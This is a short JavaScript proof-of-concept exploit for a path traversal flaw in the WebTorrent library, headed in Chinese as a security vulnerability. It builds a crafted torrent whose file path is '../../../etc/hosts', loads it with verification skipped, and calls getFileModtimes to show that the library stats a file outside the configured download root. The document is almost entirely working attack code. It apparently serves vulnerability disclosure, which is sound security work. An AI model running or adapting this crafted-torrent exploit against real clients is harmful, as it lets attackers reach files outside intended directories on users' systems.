安全漏洞: 路径穿越

import fs from 'fs' import path from 'path' import WebTorrent from 'webtorrent' console.log('\n=== WebTorrent Path Traversal PoC ===\n') const downloadRoot = '/tmp/webtorrent-safe-root' const traversalTarget = '../../../etc/hosts' const resolvedTarget = path.resolve(downloadRoot, traversalTarget) const maliciousTorrentData = { infoHash: '0123456789012345678901234567890123456789', info: Buffer.from('path-traversal-demo'), name: 'malicious_torrent', announce: [], urlList: [], pieceLength: 16384, lastPieceLength: 16, pieces: [Buffer.alloc(20)], length: 16, files: [ { name: 'hosts', path: traversalTarget, length: 16, offset: 0 } ] } console.log('[*] Download root:', downloadRoot) console.log('[*] Attacker-controlled file.path:', traversalTarget) console.log('[*] Normalized real access path:', resolvedTarget) if (!fs.existsSync(resolvedTarget)) { console.error('[!] Target file does not exist; this system cannot demonstrate the PoC:', resolvedTarget) process.exit(1) } const client = new WebTorrent({ dht: false, tracker: false, lsd: false }) const torrent = client.add(maliciousTorrentData, { path: downloadRoot, skipVerify: true }) torrent.once('ready', () => { console.log('\n[+] Torrent is ready, triggering `getFileModtimes()`') torrent.files.forEach((file, index) => { const escapedPath = path.resolve(downloadRoot, file.path) console.log(` [${index}] file.path = ${file.path}`) console.log(` -> path.resolve(downloadRoot, file.path) = ${escapedPath}`) }) torrent.getFileModtimes((err, modtimes) => { if (err) { console.error('[!] Failed to call getFileModtimes:', err) cleanup(1) return } console.log('\n[+] getFileModtimes returned:', modtimes) console.log('[+] This shows the program performed fs.stat on the escaped path, which is outside the configured download root.') cleanup() }) } function cleanup(code) { process.exit(code) }